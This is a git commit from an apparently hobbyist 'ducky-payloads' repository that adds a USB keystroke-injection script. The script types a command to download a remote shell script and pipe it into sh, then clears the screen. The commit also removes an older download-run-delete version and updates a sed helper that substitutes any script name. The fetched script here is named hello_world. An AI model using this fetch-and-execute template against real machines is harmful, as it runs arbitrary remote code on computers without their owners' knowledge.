improve bootstrap process

This commit is contained in:
♥ Minnie ♥ 2025-01-04 00:04:16 +08:00
parent 8c831f8134
commit 010484305d
Signed by: jasmine
GPG key ID: 8563E358D4E8040E
3 changed files with 10 additions and 25 deletions

9
bootstrap.dd Normal file
View file

@ -0,0 +1,9 @@
REM TITLE Bootstrapper
REM AUTHOR Sajenim
REM DESCRIPTION Fetch and execute shell script from remote repository
REM VERSION 1.0
DELAY 200
STRING wget -qO https://git.sajenim.dev/jasmine/ducky-payloads/raw/branch/master/bin/hello_world.sh | sh && clear
ENTER

View file

@ -1,24 +0,0 @@
REM TITLE Bash Bootstrapper
REM AUTHOR Sajenim
REM DESCRIPTION Fetch and execute a script from remote repository
REM VERSION 1.0
DELAY 200
STRING wget -q https://git.sajenim.dev/jasmine/ducky-payloads/raw/branch/master/bin/hello_world.sh
ENTER
DELAY 200
STRING chmod +x hello_world.sh
ENTER
DELAY 200
STRING ./hello_world.sh
ENTER
DELAY 200
STRING rm hello_world.sh
ENTER
DELAY 200
STRING clear
ENTER

View file

@ -1,3 +1,3 @@
#!/bin/sh
sed s/hello_world.sh/$1/g example.dd > payload.dd
sed s/hello_world.sh/$1/g bootstrap.dd > payload.dd